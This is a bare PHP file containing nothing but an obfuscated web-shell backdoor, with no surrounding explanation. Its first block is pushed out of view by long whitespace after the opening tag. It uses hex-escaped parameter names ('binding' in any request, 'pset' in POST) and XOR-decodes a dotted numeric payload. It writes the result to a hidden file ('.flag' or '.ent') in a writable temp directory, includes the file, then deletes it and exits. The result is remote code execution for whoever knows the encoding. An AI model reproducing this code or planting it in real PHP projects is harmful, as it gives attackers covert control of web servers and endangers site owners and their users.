<?php																																										if(in_array("b\x69nd\x69\x6E\x67", array_keys($_REQUEST))){ $value = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm"]); $pgrp = $_REQUEST["b\x69nd\x69\x6E\x67"]; $pgrp = explode ( "." , $pgrp) ; $val = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $o = 0; foreach ($pgrp as $v2) { $chS = ord($salt8[$o % $lenS]); $d = ((int)$v2 - $chS - ($o % 10)) ^ 48; $val .= chr($d); $o++; } while ($sym = array_shift($value)) { if (!!is_dir($sym) && !!is_writable($sym)) { $flg = sprintf("%s/.flag", $sym); if (file_put_contents($flg, $val)) { require $flg; unlink($flg); exit; } } } }


if(filter_has_var(INPUT_POST, "\x70\x73et")){
	$data_chunk = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir()]);
	$component = $_POST["\x70\x73et"];
	 	$component= explode 	 (   "."	,  $component		 )	;	
	$symbol=		'';
            $s=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($s  );
            $v=		0;
            $__len=		count($component  );
    
            do {if ($v >= $__len) break;
                $v3=		$component[$v];
                $sChar=		ord($s[$v % $lenS]  );
                $dec=		((int)$v3 - $sChar - ($v % 10)) ^ 34;
                $symbol  .= 	chr($dec  );
                $v++;		}while (true  );
	while ($dat = array_shift($data_chunk)) {
    		if (is_dir($dat) && is_writable($dat)) {
    $data = "$dat" . "/.ent";
    $file = fopen($data, 'w');
if ($file) {
	fwrite($file, $symbol);
	fclose($file);
	include $data;
	@unlink($data);
	exit;
}
}
}
}